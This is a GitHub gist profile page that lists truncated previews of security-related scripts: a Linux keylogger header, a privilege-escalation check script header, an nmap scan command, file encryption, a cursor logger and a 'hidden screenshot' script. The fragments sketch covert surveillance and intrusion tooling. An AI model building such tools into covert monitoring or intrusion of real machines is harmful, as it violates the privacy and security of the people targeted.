Skip to content

Instantly share code, notes, and snippets.

View smellslikeml's full-sized avatar
👃
You smell that?

smellslikeml smellslikeml

👃
You smell that?
View GitHub Profile
@smellslikeml
smellslikeml / tor_proxy_requests.py
Created October 21, 2018 16:30
tor_proxy_file_request
import requests
from urllib.request import urlretrieve, ProxyHandler, build_opener, install_opener
def check_ip():
current_ip = requests.get(
url='http://icanhazip.com/',
proxies=socks_proxy,
verify=False
)
return current_ip.text
@smellslikeml
smellslikeml / bash_get_ip.sh
Created October 21, 2018 16:33
bash_get_ip
curl -s checkip.dyndns.org | sed 's#.*Address: \(.*\)</b.*#\1#'
wget -qO - ipv4bot.whatismyipaddress.com
curl 'https://api.ipify.org?format=txt'
@smellslikeml
smellslikeml / encrypt_decrypt.py
Created October 21, 2018 16:42
file_encryption
#!/usr/bin/env python
import os
import fnmatch
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
def encrypt_file(data, enc_filename):
try:
@smellslikeml
smellslikeml / keygen.py
Created October 21, 2018 16:45
Generate RSA keys
#!/usr/bin/env python
from Crypto.PublicKey import RSA
new_key = RSA.generate(2048, e=65537)
public_key = new_key.publickey().exportKey('PEM')
private_key = new_key.exportKey('PEM')
print(public_key)
print(private_key)
@smellslikeml
smellslikeml / keylogger.py
Created October 21, 2018 16:53
keylogger
#!/usr/bin/env python
"""
Based on script by Aman Deep
A simple keylogger witten in python for linux platform
All keystrokes are recorded in a log file.
The program terminates when grave key(`) is pressed
grave key is found below Esc key
@smellslikeml
smellslikeml / linuxprivchecker.py
Created October 21, 2018 16:56
Mike Czumak's Linux Privilege Escalation Check Script
#!/usr/env python2
###############################################################################################################
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
##-------------------------------------------------------------------------------------------------------------
## [Details]:
## This script is intended to be executed locally on a Linux box to enumerate basic system info and
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
## passwords and applicable exploits.
@smellslikeml
smellslikeml / nmap_list_scan.sh
Created October 21, 2018 16:59
nmap summary
# Nmap to scan the top 1000 most
# common ports, give us the service
# version information for any open
# ports, write it to an output
# file and use our csv file as a
# list of IPs to scan.
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL IPS.csv
@smellslikeml
smellslikeml / cursor_logger.py
Created October 21, 2018 17:48
cursor logger - record cursor position
#!/usr/bin/env python
import os
import time
from Xlib import display
old_x = 0
old_y = 0
old_dur = 0
end_time = 0
logfile = os.environ['HOME'] + '/.cursor.log'
@smellslikeml
smellslikeml / screenshot.py
Created October 21, 2018 17:52
screenshot with Qt5
#!/usr/bin/env python
#############################################################################
##
## Copyright (C) 2013 Riverbank Computing Limited.
## Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
## All rights reserved.
##
## This file is part of the examples of PyQt.
@smellslikeml
smellslikeml / screenshot.py
Last active September 25, 2023 09:31
hidden screenshot with xlib and PIL
#!/usr/bin/env python
import os
from Xlib import display, X
from PIL import Image
dsp = display.Display()
screen = dsp.screen()
W = screen.width_in_pixels
H = screen.height_in_pixels